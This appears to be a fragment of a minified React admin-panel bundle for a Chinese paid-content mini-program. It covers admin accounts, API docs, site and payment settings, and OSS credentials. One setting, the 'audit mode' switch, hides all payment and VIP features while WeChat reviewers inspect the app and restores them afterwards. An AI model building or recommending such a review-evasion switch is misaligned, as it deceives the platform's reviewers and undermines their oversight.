text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(W=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:W.id}),s.jsx(ve,{className:"text-white font-medium",children:W.username}),s.jsx(ve,{className:"text-gray-400",children:W.name||"-"}),s.jsx(ve,{children:s.jsx(We,{variant:"outline",className:W.role==="super_admin"?"border-amber-500/50 text-amber-400":"border-gray-600 text-gray-400",children:W.role==="super_admin"?"超级管理员":"管理员"})}),s.jsx(ve,{children:s.jsx(We,{variant:"outline",className:W.status==="active"?"border-[#38bdac]/50 text-[#38bdac]":"border-gray-500 text-gray-500",children:W.status==="active"?"正常":"已禁用"})}),s.jsx(ve,{className:"text-gray-500 text-sm",children:_(W.createdAt)}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>P(W),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>B(W.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},W.id)),t.length===0&&!g&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:N==="无权限访问"?"仅超级管理员可查看":"暂无管理员"})})]})]}),c>1&&s.jsx("div",{className:"p-4 border-t border-gray-700/50",children:s.jsx(is,{page:a,pageSize:o,total:n,totalPages:c,onPageChange:i})})]})})}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:C?"编辑管理员":"新增管理员"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"用户名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"登录用户名",value:T,onChange:W=>I(W.target.value),disabled:!!C}),C&&s.jsx("p",{className:"text-xs text-gray-500",children:"用户名不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:C?"新密码(留空不改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:C?"留空表示不修改":"至少 6 位",value:O,onChange:W=>L(W.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"显示名称",value:R,onChange:W=>D(W.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"角色"}),s.jsxs("select",{value:z,onChange:W=>Z(W.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"admin",children:"管理员"}),s.jsx("option",{value:"super_admin",children:"超级管理员"})]})]}),C&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"状态"}),s.jsxs("select",{value:ne,onChange:W=>fe(W.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"active",children:"正常"}),s.jsx("option",{value:"disabled",children:"禁用"})]})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>k(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:q,disabled:xe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),xe?"保存中...":"保存"]})]})]})})]})}function jn({method:t,url:e,desc:n,headers:r,body:a,response:i}){const o=t==="GET"?"text-emerald-400":t==="POST"?"text-amber-400":t==="PUT"?"text-blue-400":t==="DELETE"?"text-rose-400":"text-gray-400";return s.jsxs("div",{className:"rounded-lg bg-[#0a1628]/60 border border-gray-700/50 p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("span",{className:`font-mono font-semibold ${o}`,children:t}),s.jsx("code",{className:"text-sm text-[#38bdac] break-all",children:e})]}),n&&s.jsx("p",{className:"text-gray-400 text-sm",children:n}),r&&r.length>0&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Headers"}),s.jsx("pre",{className:"text-xs text-gray-300 font-mono overflow-x-auto p-2 rounded bg-black/30",children:r.join(` `)})]}),a&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Request Body (JSON)"}),s.jsx("pre",{className:"text-xs text-green-400/90 font-mono overflow-x-auto p-2 rounded bg-black/30 whitespace-pre-wrap",children:a})]}),i&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Response Example"}),s.jsx("pre",{className:"text-xs text-amber-200/80 font-mono overflow-x-auto p-2 rounded bg-black/30 whitespace-pre-wrap",children:i})]})]})}function F4(){const t=["Authorization: Bearer {token}","Content-Type: application/json"];return s.jsxs("div",{className:"p-8 w-full bg-[#0a1628] text-white",children:[s.jsxs("div",{className:"mb-8",children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"内容管理相关接口 · RESTful · 基础路径 /api · 管理端需 Bearer Token"})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ej,{className:"w-5 h-5 text-[#38bdac]"}),"1. Authentication"]})}),s.jsx(Ee,{className:"space-y-4",children:s.jsx(jn,{method:"POST",url:"/api/admin",desc:"登录,返回 JWT token",headers:["Content-Type: application/json"],body:`{ "username": "admin", "password": "your_password" @@ -902,13 +902,13 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: }`,response:`{ "success": true, "data": { "amount": 10.00, "balance": 120.50 } -}`})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-6",children:"管理端仅使用 /api/admin/*、/api/db/*;小程序使用 /api/miniprogram/*。完整实现见 soul-api 源码。"})]})}const fV={appId:"wxb8bbb2b10dec74aa",withdrawSubscribeTmplId:"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE",mchId:"1318592501",minWithdraw:10},pV={name:"卡若",startDate:"2025年10月15日",bio:"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事",liveTime:"06:00-09:00",platform:"Soul派对房",description:"连续创业者,私域运营专家"},mV={sectionPrice:1,baseBookPrice:9.9,distributorShare:90,authorInfo:{...pV},ckbLeadApiKey:""},gV={matchEnabled:!0,referralEnabled:!0,searchEnabled:!0,aboutEnabled:!0},xV=["system","author","admin","api-docs"];function yV(){const[t,e]=Ww(),n=t.get("tab")??"system",r=xV.includes(n)?n:"system",[a,i]=b.useState(mV),[o,c]=b.useState(gV),[u,h]=b.useState(fV),[f,m]=b.useState({}),[g,y]=b.useState(!1),[N,w]=b.useState(!0),[v,k]=b.useState(!1),[C,E]=b.useState(""),[T,I]=b.useState(""),[O,L]=b.useState(!1),[R,D]=b.useState(!1),_=(P,K,V=!1)=>{E(P),I(K),L(V),k(!0)};b.useEffect(()=>{(async()=>{try{const K=await De("/api/admin/settings");if(!K||K.success===!1)return;if(K.featureConfig&&Object.keys(K.featureConfig).length&&c(V=>({...V,...K.featureConfig})),K.mpConfig&&typeof K.mpConfig=="object"&&h(V=>({...V,...K.mpConfig})),K.ossConfig&&typeof K.ossConfig=="object"&&m(V=>({...V,...K.ossConfig})),K.siteSettings&&typeof K.siteSettings=="object"){const V=K.siteSettings;i(z=>({...z,...typeof V.sectionPrice=="number"&&{sectionPrice:V.sectionPrice},...typeof V.baseBookPrice=="number"&&{baseBookPrice:V.baseBookPrice},...typeof V.distributorShare=="number"&&{distributorShare:V.distributorShare},...V.authorInfo&&typeof V.authorInfo=="object"&&{authorInfo:{...z.authorInfo,...V.authorInfo}},...typeof V.ckbLeadApiKey=="string"&&{ckbLeadApiKey:V.ckbLeadApiKey}}))}}catch(K){console.error("Load settings error:",K)}finally{w(!1)}})()},[]);const Z=async(P,K)=>{D(!0);try{const V=await vt("/api/admin/settings",{featureConfig:P});if(!V||V.success===!1){K(),_("保存失败",(V==null?void 0:V.error)??"未知错误",!0);return}_("已保存","功能开关已更新,相关入口将随之显示或隐藏。")}catch(V){console.error("Save feature config error:",V),K(),_("保存失败",V instanceof Error?V.message:String(V),!0)}finally{D(!1)}},ne=(P,K)=>{const V=o,z={...V,[P]:K};c(z),Z(z,()=>c(V))},[fe,xe]=b.useState(!1),$=async P=>{const K=u,V={...K,auditMode:P};h(V),xe(!0);try{const z=await vt("/api/admin/settings",{mpConfig:V});if(!z||z.success===!1){h(K),_("保存失败",(z==null?void 0:z.error)??"未知错误",!0);return}_("已保存",P?"审核模式已开启,小程序将隐藏所有支付入口。":"审核模式已关闭,支付功能已恢复。")}catch(z){h(K),_("保存失败",z instanceof Error?z.message:String(z),!0)}finally{xe(!1)}},H=async()=>{y(!0);try{const P=await vt("/api/admin/settings",{featureConfig:o,siteSettings:{sectionPrice:a.sectionPrice,baseBookPrice:a.baseBookPrice,distributorShare:a.distributorShare,authorInfo:a.authorInfo,ckbLeadApiKey:a.ckbLeadApiKey||void 0},mpConfig:{...u,appId:u.appId||"",withdrawSubscribeTmplId:u.withdrawSubscribeTmplId||"",mchId:u.mchId||"",minWithdraw:typeof u.minWithdraw=="number"?u.minWithdraw:10,auditMode:u.auditMode??!1},ossConfig:Object.keys(f).length?{endpoint:f.endpoint??"",bucket:f.bucket??"",region:f.region??"",accessKeyId:f.accessKeyId??"",accessKeySecret:f.accessKeySecret??""}:void 0});if(!P||P.success===!1){_("保存失败",(P==null?void 0:P.error)??"未知错误",!0);return}_("已保存","设置已保存成功。")}catch(P){console.error("Save settings error:",P),_("保存失败",P instanceof Error?P.message:String(P),!0)}finally{y(!1)}},oe=P=>{e(P==="system"?{}:{tab:P})};return N?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"系统设置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置全站基础参数与开关"})]}),r==="system"&&s.jsxs(te,{onClick:H,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),g?"保存中...":"保存设置"]})]}),s.jsxs(yd,{value:r,onValueChange:oe,className:"w-full",children:[s.jsxs(Ll,{className:"mb-6 bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"system",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(lo,{className:"w-4 h-4 mr-2"}),"系统设置"]}),s.jsxs(Zt,{value:"author",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Tm,{className:"w-4 h-4 mr-2"}),"作者详情"]}),s.jsxs(Zt,{value:"admin",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(_c,{className:"w-4 h-4 mr-2"}),"管理员"]}),s.jsxs(Zt,{value:"api-docs",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Yw,{className:"w-4 h-4 mr-2"}),"API 文档"]})]}),s.jsx(en,{value:"system",className:"mt-0",children:s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tm,{className:"w-5 h-5 text-[#38bdac]"}),"关于作者"]}),s.jsx(It,{className:"text-gray-400",children:'配置作者信息,将在"关于作者"页面显示'})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"author-name",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Tm,{className:"w-3 h-3"}),"主理人名称"]}),s.jsx(se,{id:"author-name",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.name??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,name:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"start-date",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"开播日期"]}),s.jsx(se,{id:"start-date",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 2025年10月15日",value:a.authorInfo.startDate??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,startDate:P.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"live-time",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"直播时间"]}),s.jsx(se,{id:"live-time",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 06:00-09:00",value:a.authorInfo.liveTime??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,liveTime:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"platform",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(tj,{className:"w-3 h-3"}),"直播平台"]}),s.jsx(se,{id:"platform",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: Soul派对房",value:a.authorInfo.platform??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,platform:P.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"description",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Br,{className:"w-3 h-3"}),"简介描述"]}),s.jsx(se,{id:"description",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.description??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,description:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"bio",className:"text-gray-300",children:"详细介绍"}),s.jsx(_l,{id:"bio",className:"bg-[#0a1628] border-gray-700 text-white min-h-[100px]",placeholder:"输入作者详细介绍...",value:a.authorInfo.bio??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,bio:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"ckb-lead-api-key",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Ss,{className:"w-3 h-3"}),"链接卡若存客宝密钥"]}),s.jsx(se,{id:"ckb-lead-api-key",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 xxxxx-xxxxx-xxxxx-xxxxx(留空则用 .env 默认)",value:a.ckbLeadApiKey??"",onChange:P=>i(K=>({...K,ckbLeadApiKey:P.target.value}))}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序首页「链接卡若」留资接口使用的存客宝 API Key,优先于 .env 配置"})]}),s.jsxs("div",{className:"mt-4 p-4 rounded-xl bg-[#0a1628] border border-[#38bdac]/30",children:[s.jsx("p",{className:"text-xs text-gray-500 mb-2",children:"预览效果"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-12 h-12 rounded-full bg-gradient-to-br from-[#00CED1] to-[#20B2AA] flex items-center justify-center text-xl font-bold text-white",children:(a.authorInfo.name??"K").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-semibold",children:a.authorInfo.name}),s.jsx("p",{className:"text-gray-400 text-xs",children:a.authorInfo.description}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-1",children:["每日 ",a.authorInfo.liveTime," · ",a.authorInfo.platform]})]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac]"}),"价格设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置书籍和章节的定价"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单节价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.sectionPrice,onChange:P=>i(K=>({...K,sectionPrice:Number.parseFloat(P.target.value)||1}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"整本价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.baseBookPrice,onChange:P=>i(K=>({...K,baseBookPrice:Number.parseFloat(P.target.value)||9.9}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"小程序配置"]}),s.jsx(It,{className:"text-gray-400",children:"订阅消息模板、支付商户号等,小程序从 /api/miniprogram/config 读取(API 地址由 app.js baseUrl 控制)"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序 AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"wxb8bbb2b10dec74aa",value:u.appId??"",onChange:P=>h(K=>({...K,appId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提现订阅模板 ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"用户申请提现时需授权",value:u.withdrawSubscribeTmplId??"",onChange:P=>h(K=>({...K,withdrawSubscribeTmplId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信支付商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"1318592501",value:u.mchId??"",onChange:P=>h(K=>({...K,mchId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:u.minWithdraw??10,onChange:P=>h(K=>({...K,minWithdraw:Number.parseFloat(P.target.value)||10}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(iM,{className:"w-5 h-5 text-[#38bdac]"}),"OSS 配置(阿里云对象存储)"]}),s.jsx(It,{className:"text-gray-400",children:"endpoint、bucket、accessKey 等,用于图片/文件上传"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Endpoint"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou.aliyuncs.com",value:f.endpoint??"",onChange:P=>m(K=>({...K,endpoint:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Bucket"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"bucket 名称",value:f.bucket??"",onChange:P=>m(K=>({...K,bucket:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Region"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou",value:f.region??"",onChange:P=>m(K=>({...K,region:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey ID",value:f.accessKeyId??"",onChange:P=>m(K=>({...K,accessKeyId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey Secret"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey Secret",value:f.accessKeySecret??"",onChange:P=>m(K=>({...K,accessKeySecret:P.target.value}))})]})]})})]}),s.jsxs(Ce,{className:`bg-[#0f2137] shadow-xl ${u.auditMode?"border-amber-500/50 border-2":"border-gray-700/50"}`,children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-amber-400"}),"小程序审核模式"]}),s.jsx(It,{className:"text-gray-400",children:"提交微信审核前开启,审核通过后关闭即可恢复支付功能"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:`flex items-center justify-between p-4 rounded-lg border ${u.auditMode?"bg-amber-500/10 border-amber-500/30":"bg-[#0a1628] border-gray-700/50"}`,children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(_c,{className:`w-4 h-4 ${u.auditMode?"text-amber-400":"text-gray-400"}`}),s.jsx(X,{htmlFor:"audit-mode",className:"text-white font-medium cursor-pointer",children:u.auditMode?"审核模式(已开启)":"审核模式(已关闭)"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:u.auditMode?"当前已隐藏所有支付、VIP、充值、收益等入口,审核员看不到任何付费内容":"关闭状态,小程序正常显示所有功能(含支付、VIP 等)"})]}),s.jsx(kt,{id:"audit-mode",checked:u.auditMode??!1,disabled:fe,onCheckedChange:$})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-5 h-5 text-[#38bdac]"}),"功能开关"]}),s.jsx(It,{className:"text-gray-400",children:"控制各个功能模块的显示/隐藏"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Zn,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"match-enabled",className:"text-white font-medium cursor-pointer",children:"找伙伴功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制小程序和Web端的找伙伴功能显示"})]}),s.jsx(kt,{id:"match-enabled",checked:o.matchEnabled,disabled:R,onCheckedChange:P=>ne("matchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Xw,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"referral-enabled",className:"text-white font-medium cursor-pointer",children:"推广功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制推广中心的显示(我的页面入口)"})]}),s.jsx(kt,{id:"referral-enabled",checked:o.referralEnabled,disabled:R,onCheckedChange:P=>ne("referralEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Br,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"search-enabled",className:"text-white font-medium cursor-pointer",children:"搜索功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制首页、目录页搜索栏的显示"})]}),s.jsx(kt,{id:"search-enabled",checked:o.searchEnabled,disabled:R,onCheckedChange:P=>ne("searchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(lo,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"about-enabled",className:"text-white font-medium cursor-pointer",children:"关于页面"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制关于页面的访问"})]}),s.jsx(kt,{id:"about-enabled",checked:o.aboutEnabled,disabled:R,onCheckedChange:P=>ne("aboutEnabled",P)})]})]}),s.jsx("div",{className:"p-3 rounded-lg bg-blue-500/10 border border-blue-500/30",children:s.jsx("p",{className:"text-xs text-blue-300",children:"💡 关闭功能后,相关入口会自动隐藏。建议在功能开发完成后再开启。"})})]})]})]})}),s.jsx(en,{value:"author",className:"mt-0",children:s.jsx(uV,{})}),s.jsx(en,{value:"admin",className:"mt-0",children:s.jsx(hV,{})}),s.jsx(en,{value:"api-docs",className:"mt-0",children:s.jsx(F4,{})})]}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:O?"text-red-400":"text-[#38bdac]",children:C}),s.jsx(yf,{className:"text-gray-400 whitespace-pre-wrap pt-2",children:T})]}),s.jsx(on,{className:"mt-4",children:s.jsx(te,{onClick:()=>k(!1),className:O?"bg-gray-600 hover:bg-gray-500":"bg-[#38bdac] hover:bg-[#2da396]",children:"确定"})})]})})]})}const ww={wechat:{enabled:!0,qrCode:"/images/wechat-pay.png",account:"卡若",websiteAppId:"",merchantId:"",groupQrCode:"/images/party-group-qr.png"},alipay:{enabled:!0,qrCode:"/images/alipay.png",account:"卡若",partnerId:"",securityKey:""},usdt:{enabled:!1,network:"TRC20",address:"",exchangeRate:7.2},paypal:{enabled:!1,email:"",exchangeRate:7.2}};function bV(){const[t,e]=b.useState(!1),[n,r]=b.useState(ww),[a,i]=b.useState(""),o=async()=>{e(!0);try{const k=await De("/api/config");k!=null&&k.paymentMethods&&r({...ww,...k.paymentMethods})}catch(k){console.error(k)}finally{e(!1)}};b.useEffect(()=>{o()},[]);const c=async()=>{e(!0);try{await vt("/api/db/config",{key:"payment_methods",value:n,description:"支付方式配置"}),ie.success("配置已保存!")}catch(k){console.error("保存失败:",k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{e(!1)}},u=(k,C)=>{navigator.clipboard.writeText(k),i(C),setTimeout(()=>i(""),2e3)},h=(k,C)=>{r(E=>({...E,wechat:{...E.wechat,[k]:C}}))},f=(k,C)=>{r(E=>({...E,alipay:{...E.alipay,[k]:C}}))},m=(k,C)=>{r(E=>({...E,usdt:{...E.usdt,[k]:C}}))},g=(k,C)=>{r(E=>({...E,paypal:{...E.paypal,[k]:C}}))},y=n.wechat,N=n.alipay,w=n.usdt,v=n.paypal;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold mb-2 text-white",children:"支付配置"}),s.jsx("p",{className:"text-gray-400",children:"配置微信、支付宝、USDT、PayPal等支付参数"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:o,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${t?"animate-spin":""}`}),"同步配置"]}),s.jsxs(te,{onClick:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存配置"]})]})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"如何获取微信群跳转链接?"}),s.jsxs("ol",{className:"text-[#07C160]/80 space-y-1 list-decimal list-inside",children:[s.jsx("li",{children:"打开微信,进入目标微信群"}),s.jsx("li",{children:'点击右上角"..." → "群二维码"'}),s.jsx("li",{children:'点击右上角"..." → "发送到电脑"'}),s.jsx("li",{children:"在电脑上保存二维码图片,上传到图床获取URL"}),s.jsx("li",{children:"或使用草料二维码等工具解析二维码获取链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"提示:微信群二维码7天后失效,建议使用活码工具"})]})]})}),s.jsxs(yd,{defaultValue:"wechat",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1 grid grid-cols-4 w-full",children:[s.jsxs(Zt,{value:"wechat",className:"data-[state=active]:bg-[#07C160]/20 data-[state=active]:text-[#07C160] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 